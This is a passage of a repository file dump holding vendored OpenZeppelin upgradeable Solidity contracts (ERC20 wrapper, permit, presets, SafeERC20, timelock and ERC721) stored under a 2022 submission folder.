SafeCastUpgradeable.toUint224(newWeight);\n        } else {\n            ckpts.push(Checkpoint({fromBlock: SafeCastUpgradeable.toUint32(block.number), votes: SafeCastUpgradeable.toUint224(newWeight)}));\n        }\n    }\n\n    function _add(uint256 a, uint256 b) private pure returns (uint256) {\n        return a + b;\n    }\n\n    function _subtract(uint256 a, uint256 b) private pure returns (uint256) {\n        return a - b;\n    }\n    uint256[47] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20WrapperUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Wrapper.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../utils/SafeERC20Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of the ERC20 token contract to support token wrapping.\n *\n * Users can deposit and withdraw \"underlying tokens\" and receive a matching number of \"wrapped tokens\". This is useful\n * in conjunction with other modules. For example, combining this wrapping mechanism with {ERC20Votes} will allow the\n * wrapping of an existing \"basic\" ERC20 into a governance token.\n *\n * _Available since v4.2._\n */\nabstract contract ERC20WrapperUpgradeable is Initializable, ERC20Upgradeable {\n    IERC20Upgradeable public underlying;\n\n    function __ERC20Wrapper_init(IERC20Upgradeable underlyingToken) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20Wrapper_init_unchained(underlyingToken);\n    }\n\n    function __ERC20Wrapper_init_unchained(IERC20Upgradeable underlyingToken) internal onlyInitializing {\n        underlying = underlyingToken;\n    }\n\n    /**\n     * @dev Allow a user to deposit underlying tokens and mint the corresponding number of wrapped tokens.\n     */\n    function depositFor(address account, uint256 amount) public virtual returns (bool) {\n        SafeERC20Upgradeable.safeTransferFrom(underlying, _msgSender(), address(this), amount);\n        _mint(account, amount);\n        return true;\n    }\n\n    /**\n     * @dev Allow a user to burn a number of wrapped tokens and withdraw the corresponding number of underlying tokens.\n     */\n    function withdrawTo(address account, uint256 amount) public virtual returns (bool) {\n        _burn(_msgSender(), amount);\n        SafeERC20Upgradeable.safeTransfer(underlying, account, amount);\n        return true;\n    }\n\n    /**\n     * @dev Mint wrapped token to cover any underlyingTokens that would have been transfered by mistake. Internal\n     * function that can be exposed with access control if desired.\n     */\n    function _recover(address account) internal virtual returns (uint256) {\n        uint256 value = underlying.balanceOf(address(this)) - totalSupply();\n        _mint(account, value);\n        return value;\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/IERC20MetadataUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() external view returns (string memory);\n\n    /**\n     * @dev Returns the symbol of the token.\n     */\n    function symbol() external view returns (string memory);\n\n    /**\n     * @dev Returns the decimals places of the token.\n     */\n    function decimals() external view returns (uint8);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-ERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./draft-IERC20PermitUpgradeable.sol\";\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../utils/cryptography/draft-EIP712Upgradeable.sol\";\nimport \"../../../utils/cryptography/ECDSAUpgradeable.sol\";\nimport \"../../../utils/CountersUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n *\n * _Available since v3.4._\n */\nabstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {\n    using CountersUpgradeable for CountersUpgradeable.Counter;\n\n    mapping(address => CountersUpgradeable.Counter) private _nonces;\n\n    // solhint-disable-next-line var-name-mixedcase\n    bytes32 private _PERMIT_TYPEHASH;\n\n    /**\n     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `\"1\"`.\n     *\n     * It's a good idea to use the same `name` that is defined as the ERC20 token name.\n     */\n    function __ERC20Permit_init(string memory name) internal onlyInitializing {\n        __Context_init_unchained();\n        __EIP712_init_unchained(name, \"1\");\n        __ERC20Permit_init_unchained(name);\n    }\n\n    function __ERC20Permit_init_unchained(string memory name) internal onlyInitializing {\n        _PERMIT_TYPEHASH = keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");}\n\n    /**\n     * @dev See {IERC20Permit-permit}.\n     */\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) public virtual override {\n        require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n        bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));\n\n        bytes32 hash = _hashTypedDataV4(structHash);\n\n        address signer = ECDSAUpgradeable.recover(hash, v, r, s);\n        require(signer == owner, \"ERC20Permit: invalid signature\");\n\n        _approve(owner, spender, value);\n    }\n\n    /**\n     * @dev See {IERC20Permit-nonces}.\n     */\n    function nonces(address owner) public view virtual override returns (uint256) {\n        return _nonces[owner].current();\n    }\n\n    /**\n     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n        return _domainSeparatorV4();\n    }\n\n    /**\n     * @dev \"Consume a nonce\": return the current value and increment.\n     *\n     * _Available since v4.1._\n     */\n    function _useNonce(address owner) internal virtual returns (uint256 current) {\n        CountersUpgradeable.Counter storage nonce = _nonces[owner];\n        current = nonce.current();\n        nonce.increment();\n    }\n    uint256[49] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/draft-IERC20Permit.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in\n * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].\n *\n * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by\n * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't\n * need to send a transaction, and thus is not required to hold Ether at all.\n */\ninterface IERC20PermitUpgradeable {\n    /**\n     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,\n     * given ``owner``'s signed approval.\n     *\n     * IMPORTANT: The same issues {IERC20-approve} has related to transaction\n     * ordering also apply here.\n     *\n     * Emits an {Approval} event.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     * - `deadline` must be a timestamp in the future.\n     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`\n     * over the EIP712-formatted function arguments.\n     * - the signature must use ``owner``'s current nonce (see {nonces}).\n     *\n     * For more information on the signature format, see the\n     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP\n     * section].\n     */\n    function permit(\n        address owner,\n        address spender,\n        uint256 value,\n        uint256 deadline,\n        uint8 v,\n        bytes32 r,\n        bytes32 s\n    ) external;\n\n    /**\n     * @dev Returns the current nonce for `owner`. This value must be\n     * included whenever a signature is generated for {permit}.\n     *\n     * Every successful call to {permit} increases ``owner``'s nonce by one. This\n     * prevents a signature from being used multiple times.\n     */\n    function nonces(address owner) external view returns (uint256);\n\n    /**\n     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.\n     */\n    // solhint-disable-next-line func-name-mixedcase\n    function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/presets/ERC20PresetFixedSupplyUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetFixedSupply.sol)\npragma solidity ^0.8.0;\n\nimport \"../extensions/ERC20BurnableUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev {ERC20} token, including:\n *\n *  - Preminted initial supply\n *  - Ability for holders to burn (destroy) their tokens\n *  - No access control mechanism (for minting/pausing) and hence no governance\n *\n * This contract uses {ERC20Burnable} to include burn capabilities - head to\n * its documentation for details.\n *\n * _Available since v3.4._\n */\ncontract ERC20PresetFixedSupplyUpgradeable is Initializable, ERC20BurnableUpgradeable {\n    function initialize(\n        string memory name,\n        string memory symbol,\n        uint256 initialSupply,\n        address owner\n    ) public virtual initializer {\n        __ERC20PresetFixedSupply_init(name, symbol, initialSupply, owner);\n    }\n    /**\n     * @dev Mints `initialSupply` amount of token and transfers them to `owner`.\n     *\n     * See {ERC20-constructor}.\n     */\n    function __ERC20PresetFixedSupply_init(\n        string memory name,\n        string memory symbol,\n        uint256 initialSupply,\n        address owner\n    ) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Burnable_init_unchained();\n        __ERC20PresetFixedSupply_init_unchained(name, symbol, initialSupply, owner);\n    }\n\n    function __ERC20PresetFixedSupply_init_unchained(\n        string memory name,\n        string memory symbol,\n        uint256 initialSupply,\n        address owner\n    ) internal onlyInitializing {\n        _mint(owner, initialSupply);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/presets/ERC20PresetMinterPauserUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/presets/ERC20PresetMinterPauser.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../extensions/ERC20BurnableUpgradeable.sol\";\nimport \"../extensions/ERC20PausableUpgradeable.sol\";\nimport \"../../../access/AccessControlEnumerableUpgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev {ERC20} token, including:\n *\n *  - ability for holders to burn (destroy) their tokens\n *  - a minter role that allows for token minting (creation)\n *  - a pauser role that allows to stop all token transfers\n *\n * This contract uses {AccessControl} to lock permissioned functions using the\n * different roles - head to its documentation for details.\n *\n * The account that deploys the contract will be granted the minter and pauser\n * roles, as well as the default admin role, which will let it grant both minter\n * and pauser roles to other accounts.\n */\ncontract ERC20PresetMinterPauserUpgradeable is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC20BurnableUpgradeable, ERC20PausableUpgradeable {\n    function initialize(string memory name, string memory symbol) public virtual initializer {\n        __ERC20PresetMinterPauser_init(name, symbol);\n    }\n    bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n    bytes32 public constant PAUSER_ROLE = keccak256(\"PAUSER_ROLE\");\n\n    /**\n     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the\n     * account that deploys the contract.\n     *\n     * See {ERC20-constructor}.\n     */\n    function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __AccessControl_init_unchained();\n        __AccessControlEnumerable_init_unchained();\n        __ERC20_init_unchained(name, symbol);\n        __ERC20Burnable_init_unchained();\n        __Pausable_init_unchained();\n        __ERC20Pausable_init_unchained();\n        __ERC20PresetMinterPauser_init_unchained(name, symbol);\n    }\n\n    function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal onlyInitializing {\n        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n        _setupRole(MINTER_ROLE, _msgSender());\n        _setupRole(PAUSER_ROLE, _msgSender());\n    }\n\n    /**\n     * @dev Creates `amount` new tokens for `to`.\n     *\n     * See {ERC20-_mint}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `MINTER_ROLE`.\n     */\n    function mint(address to, uint256 amount) public virtual {\n        require(hasRole(MINTER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have minter role to mint\");\n        _mint(to, amount);\n    }\n\n    /**\n     * @dev Pauses all token transfers.\n     *\n     * See {ERC20Pausable} and {Pausable-_pause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function pause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have pauser role to pause\");\n        _pause();\n    }\n\n    /**\n     * @dev Unpauses all token transfers.\n     *\n     * See {ERC20Pausable} and {Pausable-_unpause}.\n     *\n     * Requirements:\n     *\n     * - the caller must have the `PAUSER_ROLE`.\n     */\n    function unpause() public virtual {\n        require(hasRole(PAUSER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have pauser role to unpause\");\n        _unpause();\n    }\n\n    function _beforeTokenTransfer(\n        address from,\n        address to,\n        uint256 amount\n    ) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {\n        super._beforeTokenTransfer(from, to, amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/utils/SafeERC20Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\nimport \"../../../utils/AddressUpgradeable.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20Upgradeable {\n    using AddressUpgradeable for address;\n\n    function safeTransfer(\n        IERC20Upgradeable token,\n        address to,\n        uint256 value\n    ) internal {\n        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n    }\n\n    function safeTransferFrom(\n        IERC20Upgradeable token,\n        address from,\n        address to,\n        uint256 value\n    ) internal {\n        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n    }\n\n    /**\n     * @dev Deprecated. This function has issues similar to the ones found in\n     * {IERC20-approve}, and its usage is discouraged.\n     *\n     * Whenever possible, use {safeIncreaseAllowance} and\n     * {safeDecreaseAllowance} instead.\n     */\n    function safeApprove(\n        IERC20Upgradeable token,\n        address spender,\n        uint256 value\n    ) internal {\n        // safeApprove should only be called when setting an initial allowance,\n        // or when resetting it to zero. To increase and decrease it, use\n        // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n        require(\n            (value == 0) || (token.allowance(address(this), spender) == 0),\n            \"SafeERC20: approve from non-zero to non-zero allowance\"\n        );\n        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n    }\n\n    function safeIncreaseAllowance(\n        IERC20Upgradeable token,\n        address spender,\n        uint256 value\n    ) internal {\n        uint256 newAllowance = token.allowance(address(this), spender) + value;\n        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n    }\n\n    function safeDecreaseAllowance(\n        IERC20Upgradeable token,\n        address spender,\n        uint256 value\n    ) internal {\n        unchecked {\n            uint256 oldAllowance = token.allowance(address(this), spender);\n            require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n            uint256 newAllowance = oldAllowance - value;\n            _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n        }\n    }\n\n    /**\n     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n     * on the return value: the return value is optional (but if data is returned, it must not be false).\n     * @param token The token targeted by the call.\n     * @param data The call data (encoded using abi.encode or one of its variants).\n     */\n    function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {\n        // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n        // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n        // the target address contains contract code and also asserts for success in the low-level call.\n\n        bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n        if (returndata.length > 0) {\n            // Return data is optional\n            require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/utils/TokenTimelockUpgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/TokenTimelock.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./SafeERC20Upgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev A token holder contract that will allow a beneficiary to extract the\n * tokens after a given release time.\n *\n * Useful for simple vesting schedules like \"advisors get all of their tokens\n * after 1 year\".\n */\ncontract TokenTimelockUpgradeable is Initializable {\n    using SafeERC20Upgradeable for IERC20Upgradeable;\n\n    // ERC20 basic token contract being held\n    IERC20Upgradeable private _token;\n\n    // beneficiary of tokens after they are released\n    address private _beneficiary;\n\n    // timestamp when token release is enabled\n    uint256 private _releaseTime;\n\n    function __TokenTimelock_init(\n        IERC20Upgradeable token_,\n        address beneficiary_,\n        uint256 releaseTime_\n    ) internal onlyInitializing {\n        __TokenTimelock_init_unchained(token_, beneficiary_, releaseTime_);\n    }\n\n    function __TokenTimelock_init_unchained(\n        IERC20Upgradeable token_,\n        address beneficiary_,\n        uint256 releaseTime_\n    ) internal onlyInitializing {\n        require(releaseTime_ > block.timestamp, \"TokenTimelock: release time is before current time\");\n        _token = token_;\n        _beneficiary = beneficiary_;\n        _releaseTime = releaseTime_;\n    }\n\n    /**\n     * @return the token being held.\n     */\n    function token() public view virtual returns (IERC20Upgradeable) {\n        return _token;\n    }\n\n    /**\n     * @return the beneficiary of the tokens.\n     */\n    function beneficiary() public view virtual returns (address) {\n        return _beneficiary;\n    }\n\n    /**\n     * @return the time when the tokens are released.\n     */\n    function releaseTime() public view virtual returns (uint256) {\n        return _releaseTime;\n    }\n\n    /**\n     * @notice Transfers tokens held by timelock to beneficiary.\n     */\n    function release() public virtual {\n        require(block.timestamp >= releaseTime(), \"TokenTimelock: current time is before release time\");\n\n        uint256 amount = token().balanceOf(address(this));\n        require(amount > 0, \"TokenTimelock: no tokens to release\");\n\n        token().safeTransfer(beneficiary(), amount);\n    }\n    uint256[50] private __gap;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/ERC721Upgradeable.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721Upgradeable.sol\";\nimport \"./IERC721ReceiverUpgradeable.sol\";\nimport \"./extensions/IERC721MetadataUpgradeable.sol\";\nimport \"../../utils/AddressUpgradeable.sol\";\nimport \"../../utils/ContextUpgradeable.sol\";\nimport \"../../utils/StringsUpgradeable.sol\";\nimport \"../../utils/introspection/ERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including\n * the Metadata extension, but not including the Enumerable extension, which is available separately as\n * {ERC721Enumerable}.\n */\ncontract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {\n    using AddressUpgradeable for address;\n    using StringsUpgradeable for uint256;\n\n    // Token name\n    string private _name;\n\n    // Token symbol\n    string private _symbol;\n\n    // Mapping from token ID to owner address\n    mapping(uint256 => address) private _owners;\n\n    // Mapping owner address to token count\n    mapping(address => uint256) private _balances;\n\n    // Mapping from token ID to approved address\n    mapping(uint256 => address) private _tokenApprovals;\n\n    // Mapping from owner to operator approvals\n    mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n    /**\n     * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.\n     */\n    function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {\n        __Context_init_unchained();\n        __ERC165_init_unchained();\n        __ERC721_init_unchained(name_, symbol_);\n    }\n\n    function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {\n        _name = name_;\n        _symbol = symbol_;\n    }\n\n    /**\n     * @dev See {IERC165-supportsInterface}.\n     */\n    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {\n        return\n            interfaceId == type(IERC721Upgradeable).interfaceId ||\n            interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||\n            super.supportsInterface(interfaceId);\n    }\n\n    /**\n     * @dev See {IERC721-balanceOf}.\n     */\n    function balanceOf(address owner) public view virtual override returns (uint256) {\n        require(owner != address(0), \"ERC721: balance query for the zero address\");\n        return _balances[owner];\n    }\n\n    /**\n     * @dev See {IERC721-ownerOf}.\n     */\n    function ownerOf(uint256 tokenId) public view virtual override returns (address) {\n        address owner = _owners[tokenId];\n        require(owner != address(0), \"ERC721: owner query for nonexistent token\");\n        return owner;\n    }\n\n    /**\n     * @dev See {IERC721Metadata-name}.\n     */\n    function name() public view virtual override returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev See {IERC721Metadata-symbol}.\n     */\n    function symbol() public view virtual override returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev See {IERC721Metadata-tokenURI}.\n     */\n    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\n        require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token\");\n\n        string memory baseURI = _baseURI();\n        return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : \"\";\n    }\n\n    /**\n     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n     * by default, can be overriden in child contracts.\n     */\n    function _baseURI() internal view virtual returns (string memory) {\n        return \"\";\n    }\n\n    /**\n     * @dev See {IERC721-approve}.\n     */\n    function approve(address to, uint256 tokenId) public virtual override {\n        address owner = ERC721Upgradeable.ownerOf(tokenId);\n        require(to != owner, \"ERC721: approval to current owner\");\n\n        require(\n            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n            \"ERC721: approve caller is not owner nor approved for all\"\n        );\n\n        _approve(to, tokenId);\n    }\n\n    /**\n     * @dev See {IERC721-getApproved}.\n     */\n    function getApproved(uint256 tokenId) public view virtual override returns (address) {\n        require(_exists(tokenId), \"ERC721: approved query for nonexistent token\");\n\n        return _tokenApprovals[tokenId];\n    }\n\n    /**\n     * @dev See {IERC721-setApprovalForAll}.\n     */\n    function setApprovalForAll(address operator, bool approved) public virtual override {\n        _setApprovalForAll(_msgSender(), operator, approved);\n    }\n\n    /**\n     * @dev See {IERC721-isApprovedForAll}.\n     */\n    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {\n        return _operatorApprovals[owner][operator];\n    }\n\n    /**\n     * @dev See {IERC721-transferFrom}.\n     */\n    function transferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual override {\n        //solhint-disable-next-line max-line-length\n        require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: transfer caller is not owner nor approved\");\n\n        _transfer(from, to, tokenId);\n    }\n\n    /**\n     * @dev See {IERC721-safeTransferFrom}.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId\n    ) public virtual override {\n        safeTransferFrom(from, to, tokenId, \"\");\n    }\n\n    /**\n     * @dev See {IERC721-safeTransferFrom}.\n     */\n    function safeTransferFrom(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) public virtual override {\n        require(_isApprovedOrOwner(_msgSender(), tokenId), \"ERC721: transfer caller is not owner nor approved\");\n        _safeTransfer(from, to, tokenId, _data);\n    }\n\n    /**\n     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n     * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n     *\n     * `_data` is additional data, it has no specified format and it is sent in call to `to`.\n     *\n     * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\n     * implement alternative mechanisms to perform token transfer, such as signature-based.\n     *\n     * Requirements:\n     *\n     * - `from` cannot be the zero address.\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must exist and be owned by `from`.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _safeTransfer(\n        address from,\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) internal virtual {\n        _transfer(from, to, tokenId);\n        require(_checkOnERC721Received(from, to, tokenId, _data), \"ERC721: transfer to non ERC721Receiver implementer\");\n    }\n\n    /**\n     * @dev Returns whether `tokenId` exists.\n     *\n     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n     *\n     * Tokens start existing when they are minted (`_mint`),\n     * and stop existing when they are burned (`_burn`).\n     */\n    function _exists(uint256 tokenId) internal view virtual returns (bool) {\n        return _owners[tokenId] != address(0);\n    }\n\n    /**\n     * @dev Returns whether `spender` is allowed to manage `tokenId`.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     */\n    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\n        require(_exists(tokenId), \"ERC721: operator query for nonexistent token\");\n        address owner = ERC721Upgradeable.ownerOf(tokenId);\n        return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));\n    }\n\n    /**\n     * @dev Safely mints `tokenId` and transfers it to `to`.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must not exist.\n     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _safeMint(address to, uint256 tokenId) internal virtual {\n        _safeMint(to, tokenId, \"\");\n    }\n\n    /**\n     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is\n     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.\n     */\n    function _safeMint(\n        address to,\n        uint256 tokenId,\n        bytes memory _data\n    ) internal virtual {\n        _mint(to, tokenId);\n        require(\n            _checkOnERC721Received(address(0), to, tokenId, _data),\n            \"ERC721: transfer to non ERC721Receiver implementer\"\n        );\n    }\n\n    /**\n     * @dev Mints `tokenId` and transfers it to `to`.\n     *\n     * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible\n     *\n     * Requirements:\n     *\n     * - `tokenId` must not exist.\n     * - `to` cannot be the zero address.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _mint(address to, uint256 tokenId) internal virtual {\n        require(to != address(0), \"ERC721: mint to the zero address\");\n        require(!_exists(tokenId), \"ERC721: token already minted\");\n\n        _beforeTokenTransfer(address(0), to, tokenId);\n\n        _balances[to] += 1;\n        _owners[tokenId] = to;\n\n        emit Transfer(address(0), to, tokenId);\n    }\n\n    /**\n     * @dev Destroys `tokenId`.\n     * The approval is cleared when the token is burned.\n     *\n     * Requirements:\n     *\n     * - `tokenId` must exist.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _burn(uint256 tokenId) internal virtual {\n        address owner = ERC721Upgradeable.ownerOf(tokenId);\n\n        _beforeTokenTransfer(owner, address(0), tokenId);\n\n        // Clear approvals\n        _approve(address(0), tokenId);\n\n        _balances[owner] -= 1;\n        delete _owners[tokenId];\n\n        emit Transfer(owner, address(0), tokenId);\n    }\n\n    /**\n     * @dev Transfers `tokenId` from `from` to `to`.\n     *  As opposed to {transferFrom}, this imposes no restrictions on msg.sender.\n     *\n     * Requirements:\n     *\n     * - `to` cannot be the zero address.\n     * - `tokenId` token must be owned by `from`.\n     *\n     * Emits a {Transfer} event.\n     */\n    function _transfer(\n        address from,\n        address to,\n        uint256 tokenId\n    ) internal virtual {\n        require(ERC721Upgradeable.ownerOf(tokenId) == from, \"ERC721: transfer of token that is not own\");\n        require(to != address(0), \"ERC721: transfer to the zero address\");\n\n        _beforeTokenTransfer(from, to, tokenId);\n\n        // Clear approvals from the previous owner\n        _approve(address(0), tokenId);\n\n        _balances[from] -= 1;\n        _balances[to] += 1;\n        _owners[tokenId] = 